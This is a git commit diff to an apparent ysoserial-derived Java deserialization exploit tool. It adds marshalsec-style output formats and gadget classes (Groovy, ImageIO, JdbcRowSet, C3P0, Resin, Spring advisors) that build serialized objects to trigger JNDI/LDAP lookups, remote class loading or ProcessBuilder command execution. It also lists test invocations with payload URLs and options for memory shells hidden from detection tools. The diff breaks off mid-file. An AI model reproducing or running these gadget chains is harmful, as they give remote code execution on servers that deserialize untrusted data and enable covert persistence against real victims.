增加 marshalsec 的output

一些测试用例
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -kryo
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jk
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jy
-y -g C3P0RefDataSource  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jy
-y -g XBean  -p http://127.0.0.1:8080/ExecObject -js
-y -g LazySearchEnumeration  -p http://127.0.0.1:8080/ExecObject -js
-y -g Resin  -p http://127.0.0.1:8080/ExecObject -js
-y -g Groovy  -p /usr/bin/gedit -js
-y -g SpringAbstractBeanFactoryPointcutAdvisor  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -js
-y -g Rome  -p /usr/bin/gedit -js
-y -g SpringAbstractBeanFactoryPointcutAdvisor  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -ca
-y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -ca
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jk
-y -g C3P0RefDataSource  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk
-y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -jk
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -jk
-y -g SpringPropertyPathFactory -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -jk
This commit is contained in:
Lya0
2024-09-15 16:30:26 +08:00
parent 95adfbb45c
commit eed218cc0c
26 changed files with 1495 additions and 44 deletions
@@ -19,7 +19,7 @@ import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial {
public static CommandLine cmdLine;
public static Object PAYLOAD = null;
public static Object PAYLOAD = null;
public static void ysoserial(String[] args) {
final Options options = getOptions();
@@ -113,6 +113,30 @@ public class ysoserial {
Config.IS_Hessian2 = true;
}
if(cmdLine.hasOption("XStream")){
Config.IS_Xstream = true;
}
if(cmdLine.hasOption("Kryo")){
Config.IS_Kryo = true;
}
if(cmdLine.hasOption(("JYaml"))){
Config.IS_JYAML = true;
}
if(cmdLine.hasOption("JsonIO")){
Config.IS_JsonIO = true;
}
if(cmdLine.hasOption("YamlBeans")){
Config.IS_YamlBeans = true;
}
if(cmdLine.hasOption("Castor")){
Config.IS_Castor = true;
}
if(cmdLine.hasOption("Jackson")){
Config.IS_Jackson = true;
}
if (cmdLine.hasOption("gen-mem-shell")) {
Config.GEN_MEM_SHELL = true;
@@ -129,19 +153,10 @@ public class ysoserial {
}
}
if(cmdLine.hasOption("XStream")){
Config.IS_XSTREAM = true;
}
final String payloadType = cmdLine.getOptionValue("gadget");
final String command = cmdLine.getOptionValue("parameters");
Class<? extends ObjectPayload> payloadClass = null;
if (Config.IS_XSTREAM){
payloadClass = ObjectPayload.Utils.getPayloadClass(cmdLine.getOptionValue("XStream"));
}else {
payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
}
//载入gadget
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(options);
@@ -151,6 +166,7 @@ public class ysoserial {
try {
//载入payload
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject(command);
@@ -174,7 +190,7 @@ public class ysoserial {
} else {
out = System.out;
}
Serializer.qiserialize(object, out);
Serializer.qiserialize(object, out,payloadType,command);
ObjectPayload.Utils.releasePayload(payload, object);
out.flush();
out.close();
@@ -185,7 +201,6 @@ public class ysoserial {
}
System.exit(0);
}
private static Options getOptions() {
Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization");
@@ -204,7 +219,6 @@ public class ysoserial {
options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
options.addOption("x", "XStream", true, "Generate Xstream serialization xml");
options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
@@ -215,6 +229,13 @@ public class ysoserial {
options.addOption("he1", "Hessian1", false, "Hessian1 Output");
options.addOption("he2", "Hessian2", false, "Hessian2 Output");
options.addOption("b64", "base64", false, "base64 encoding");
options.addOption("xs", "XStream", false, "Xstream Output");
options.addOption("kryo", "Kryo", false, "Kryo Output");
options.addOption("jy", "JYaml", false, "JYaml Output");
options.addOption("js","JsonIO", false, "JsonIO Output");
options.addOption("yb","YamlBeans", false, "YamlBeans Output");
options.addOption("ca", "Castor", false, "Castor Output");
options.addOption("jk", "Jackson", false, "Jackson Output");
return options;
}
@@ -0,0 +1,13 @@
package com.qi4l.JYso.gadgets;
import java.net.URI;
public class BindingEnumeration implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[ 0 ], args[ 1 ])));
}
}
@@ -0,0 +1,13 @@
package com.qi4l.JYso.gadgets;
public class C3P0RefDataSource implements ObjectPayload{
@Override
public Object getObject(String command) throws Exception {
// Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
// // requires ordering
// Reflections.setFieldValue(obj, "jndiName", command);
// Reflections.setFieldValue(obj, "loginTimeout", 0);
// return obj;
return null;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Hex;
import javax.naming.Name;
import javax.naming.Reference;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.util.Hashtable;
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]));
return obj;
}
public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
ByteArrayOutputStream b = new ByteArrayOutputStream();
try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) {
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
con.setAccessible(true);
Reference jndiref = new Reference("Foo", clazz, codebase);
Object ref = con.newInstance(jndiref, null, null, null);
oos.writeObject(ref);
}
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
}
}
@@ -93,7 +93,13 @@ public class Config {
public static Boolean IS_UTF_Bypass = false;
public static Boolean IS_Hessian1 = false;
public static Boolean IS_Hessian2 = false;
public static Boolean IS_XSTREAM = false;
public static Boolean IS_Xstream = false;
public static Boolean IS_Kryo = false;
public static Boolean IS_JYAML = false;
public static Boolean IS_JsonIO = false;
public static Boolean IS_YamlBeans = false;
public static Boolean IS_Castor = false;
public static Boolean IS_Jackson = false;
// 填充的脏数据长度
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
@@ -0,0 +1,22 @@
package com.qi4l.JYso.gadgets;
import groovy.util.Expando;
import org.codehaus.groovy.runtime.MethodClosure;
public class Groovy implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
Object e = makeGroovy(command);
UtilFactory uf = new UtilFactory();
return uf.makeHashCodeTrigger(e);
}
public static Object makeGroovy(String command) throws Exception {
Expando expando = new Expando();
ProcessBuilder pb = new ProcessBuilder(command);
MethodClosure mc = new MethodClosure(pb, "start");
expando.setProperty("hashCode", mc);
return expando;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Collections;
public class ImageIO implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
String args[] = {command};
return makeImageIO(uf, args);
}
public static Object makeImageIO ( UtilFactory uf, String[] args ) throws Exception {
ProcessBuilder pb = new ProcessBuilder(args);
Class<?> cfCl = Class.forName("javax.imageio.ImageIO$ContainsFilter");
Constructor<?> cfCons = cfCl.getDeclaredConstructor(Method.class, String.class);
cfCons.setAccessible(true);
// nest two instances, the 'next' of the other one will be skipped,
// the inner instance then provides the actual target object
Object filterIt = makeFilterIterator(
makeFilterIterator(Collections.emptyIterator(), pb, null),
"foo",
cfCons.newInstance(ProcessBuilder.class.getMethod("start"), "foo"));
return uf.makeIteratorTrigger(filterIt);
}
public static Object makeFilterIterator ( Object backingIt, Object first, Object filter )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
Class<?> fiCl = Class.forName("javax.imageio.spi.FilterIterator");
Object filterIt = Reflections.createWithoutConstructor(fiCl);
Reflections.setFieldValue(filterIt, "iter", backingIt);
Reflections.setFieldValue(filterIt, "next", first);
Reflections.setFieldValue(filterIt, "filter", filter);
return filterIt;
}
}
@@ -0,0 +1,280 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl;
import com.sun.rowset.JdbcRowSetImpl;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.NullCipher;
import javax.management.loading.MLet;
import javax.naming.*;
import javax.naming.directory.DirContext;
import javax.naming.directory.SearchResult;
import java.io.InputStream;
import java.lang.reflect.*;
import java.math.BigInteger;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.RemoteException;
import java.rmi.server.ObjID;
import java.util.*;
import java.util.ServiceLoader;
public class JDKUtil {
/**
*
*/
private JDKUtil() {}
public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}
public static DirContext makeContinuationContext (String codebase, String clazz ) throws Exception {
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
Reflections.setFieldValue(cpe, "stackTrace", new StackTraceElement[0]);
cpe.setResolvedObj(new Reference("Foo", clazz, codebase));
return (DirContext) ccCons.newInstance(cpe, null);
}
@SuppressWarnings ( "resource" )
public static Object makeIteratorTriggerNative ( UtilFactory uf, Object it ) throws Exception, ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException {
Cipher m = Reflections.createWithoutConstructor(NullCipher.class);
Reflections.setFieldValue(m, "serviceIterator", it);
Reflections.setFieldValue(m, "lock", new Object());
InputStream cos = new CipherInputStream(null, m);
Class<?> niCl = Class.forName("java.lang.ProcessBuilder$NullInputStream"); //$NON-NLS-1$
Constructor<?> niCons = niCl.getDeclaredConstructor();
niCons.setAccessible(true);
Reflections.setFieldValue(cos, "input", niCons.newInstance());
Reflections.setFieldValue(cos, "ibuffer", new byte[0]);
Object b64Data = Class.forName("com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data").newInstance();
DataSource ds = (DataSource) Reflections
.createWithoutConstructor(Class.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource")); //$NON-NLS-1$
Reflections.setFieldValue(ds, "is", cos);
Reflections.setFieldValue(b64Data, "dataHandler", new DataHandler(ds));
Reflections.setFieldValue(b64Data, "data", null);
Object nativeString = Reflections.createWithoutConstructor(Class.forName("jdk.nashorn.internal.objects.NativeString"));
Reflections.setFieldValue(nativeString, "value", b64Data);
return uf.makeHashCodeTrigger(nativeString);
}
public static Object adaptEnumerationToIterator ( Enumeration<?> enu ) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator");
Constructor<?> licons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class);
licons.setAccessible(true);
ServiceLoader<?> sl = Reflections.createWithoutConstructor(ServiceLoader.class);
Object iter = licons.newInstance(null, null);
Reflections.setFieldValue(sl, "providers", new LinkedHashMap<>());
Reflections.setFieldValue(iter, "configs", enu);
return iter;
}
public static Iterator<?> makeServiceIterator (ClassLoader cl, Class<?> service ) throws Exception {
Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator");
Constructor<?> lciCons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class);
lciCons.setAccessible(true);
return (Iterator<?>) lciCons.newInstance(service, cl);
}
public static Iterable<?> makeServiceLoader ( ClassLoader cl, Class<?> service ) throws Exception {
return ServiceLoader.load(service, cl);
}
public static URLClassLoader makeURLClassLoader (String url ) throws MalformedURLException, Exception {
URLClassLoader ucl = new URLClassLoader(new URL[] {
new URL(url)
});
Reflections.setFieldValue(ucl, "parent", null);
Reflections.setFieldValue(ucl, "domains", new HashSet<>());
Reflections.setFieldValue(ucl, "defaultDomain", null);
Reflections.setFieldValue(ucl, "acc", null);
Reflections.setFieldValue(Reflections.getFieldValue(ucl, "ucp"), "acc", null);
return ucl;
}
public static URLClassLoader makeMLet ( String url ) throws MalformedURLException, Exception {
URLClassLoader ucl = new MLet(new URL[] {
new URL(url)
});
Reflections.setFieldValue(ucl, "parent", null);
Reflections.setFieldValue(ucl, "domains", new HashSet<>());
Reflections.setFieldValue(ucl, "defaultDomain", null);
Reflections.setFieldValue(ucl, "acc", null);
Reflections.setFieldValue(Reflections.getFieldValue(ucl, "ucp"), "acc", null);
return ucl;
}
@SuppressWarnings ( "unchecked" )
public static Enumeration<?> makeLazySearchEnumeration ( String codebase, String clazz ) throws Exception {
DirContext ctx = makeContinuationContext(codebase, clazz);
NamingEnumeration<?> inner = Reflections.createWithoutConstructor(LazySearchEnumerationImpl.class);
Reflections.setFieldValue(inner, "nextMatch", new SearchResult("foo", ctx, null));
return new LazySearchEnumerationImpl((NamingEnumeration<Binding>) inner, null, null);
}
public static Enumeration<?> makeBindingEnumeration ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, Exception, NamingException, RemoteException {
Class<?> cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
Object enu = Reflections.createWithoutConstructor(cl);
Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz)));
Reflections.setFieldValue(enu, "names", new String[] {
"exp"
});
Reflections.setFieldValue(enu, "nextName", 0);
return (Enumeration<?>) enu;
}
private static Object makeRegistryImpl ( String codebase, String clazz ) throws IllegalArgumentException, Exception {
Class<?> regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry");
Object reg = Reflections.createWithoutConstructor(regcl);
Reflections.setFieldValue(reg, "name", "exp");
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1337);
LiveRef liveRef = new LiveRef(new ObjID(), te, true);
UnicastRef value = new UnicastRef(liveRef);
Reflections.setFieldValue(reg, "ref", value);
Reflections.setFieldValue(reg, "object", makeReference(codebase, clazz));
return reg;
}
private static ReferenceWrapper makeReference (String codebase, String clazz ) throws Exception {
Reference ref = new Reference("Foo", clazz, codebase);
ReferenceWrapper wrapper = Reflections.createWithoutConstructor(ReferenceWrapper.class);
Reflections.setFieldValue(wrapper, "wrappee", ref);
Reflections.setFieldValue(wrapper, "ref", Reflections.createWithoutConstructor(sun.rmi.server.UnicastServerRef.class));
return wrapper;
}
private static Object makeRegistryContext ( Object regi ) throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException, Exception {
Class<?> regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext");
Object regctx = Reflections.createWithoutConstructor(regctxcl);
Reflections.setFieldValue(regctx, "registry", regi);
return regctx;
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
@SuppressWarnings ( {
"rawtypes", "unchecked"
} )
public static Queue<Object> makePriorityQueue ( Object tgt, Comparator comparator ) throws Exception {
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[ 0 ] = tgt;
queueArray[ 1 ] = tgt;
return queue;
}
@SuppressWarnings ( {
"rawtypes", "unchecked"
} )
public static TreeMap<Object, Object> makeTreeMap ( Object tgt, Comparator comparator ) throws Exception {
TreeMap<Object, Object> tm = new TreeMap<>(comparator);
Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
entryCons.setAccessible(true);
Field leftF = Reflections.getField(entryCl, "left");
Field rootF = Reflections.getField(TreeMap.class, "root");
Object root = entryCons.newInstance(tgt, tgt, null);
leftF.set(root, entryCons.newInstance(tgt, tgt, root));
rootF.set(tm, root);
Reflections.setFieldValue(tm, "size", 2);
return tm;
}
public static <T> T createProxy (final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih));
}
public static Map<String, Object> createMap ( final String key, final Object val ) {
final Map<String, Object> map = new HashMap<>();
map.put(key, val);
return map;
}
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(TemplatesUtil.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
}
@@ -0,0 +1,10 @@
package com.qi4l.JYso.gadgets;
public class JdbcRowSet implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
return JDKUtil.makeJNDIRowSet(command);
}
}
@@ -0,0 +1,13 @@
package com.qi4l.JYso.gadgets;
import java.net.URI;
public class LazySearchEnumeration implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[ 0 ], args[ 1 ])));
}
}
@@ -0,0 +1,35 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
public class ROMEJDBC implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
// Assuming makeJNDIRowSet is a static method in JDKUtil
return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command));
}
public <T> Object makeROMEAllPropertyTrigger(Class<T> type, T obj) throws Exception {
ToStringBean item = new ToStringBean(type, obj);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
return makeHashCodeTrigger(root);
}
public Object makeHashCodeTrigger(Object o1) throws Exception {
return JDKUtil.makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
}
// Assuming JDKUtil class with makeJNDIRowSet method
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}
}
@@ -0,0 +1,76 @@
package com.qi4l.JYso.gadgets;
import com.caucho.naming.QName;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.lang.reflect.Constructor;
import java.net.URI;
import java.util.Hashtable;
public class Resin implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
//需要处理command
return makeResinQName(command);
}
public Object makeResinQName(String command) throws Exception {
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
Reflections.setFieldValue(cpe, "cause", null);
Reflections.setFieldValue(cpe, "stackTrace", null);
//考虑换成其他的
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
cpe.setResolvedObj(new Reference("Foo", args[ 1 ], args[ 0 ]));
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
QName qName = new QName(ctx, "foo", "bar");
return makeToStringTrigger(qName);
}
public static Object makeToStringTrigger ( Object o ) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(o, xString);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}
@@ -0,0 +1,16 @@
package com.qi4l.JYso.gadgets;
import javax.script.ScriptEngineFactory;
public class ServiceLoader implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
String args[] = {command};
return makeServiceLoader(uf, args);
}
public static Object makeServiceLoader ( UtilFactory uf, String[] args ) throws Exception {
return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[0]), ScriptEngineFactory.class));
}
}
@@ -0,0 +1,34 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
public class SpringAbstractBeanFactoryPointcutAdvisor implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
return makeBeanFactoryPointcutAdvisor(command);
}
public Object makeBeanFactoryPointcutAdvisor (String args ) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerBFPA(uf,jndiUrl, bf);
}
public static Object makeBeanFactoryTriggerBFPA (UtilFactory uf,String name, BeanFactory bf ) throws Exception {
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(name);
return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor());
}
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
return bf;
}
}
@@ -0,0 +1,58 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.lang.reflect.InvocationTargetException;
public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
return makePartiallyComparableAdvisorHolder(command);
}
public Object makePartiallyComparableAdvisorHolder (String args ) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);
}
public static BeanFactory makeJNDITrigger (String jndiUrl ) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
return bf;
}
public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException,
NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", name);
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
// make readObject happy if it is called
Reflections.setFieldValue(advice, "declaringClass", Object.class);
Reflections.setFieldValue(advice, "methodName", "toString");
Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
Class<?> pcahCl = Class
.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);
return uf.makeToStringTriggerUnstable(pcah);
}
}
@@ -0,0 +1,23 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.config.PropertyPathFactoryBean;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
public class SpringPropertyPathFactory implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
String jndiUrl = command;
BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl);
PropertyPathFactoryBean ppf = new PropertyPathFactoryBean();
ppf.setTargetBeanName(jndiUrl);
ppf.setPropertyPath("foo");
Reflections.setFieldValue(ppf, "beanFactory", bf);
return ppf;
}
}
@@ -0,0 +1,107 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
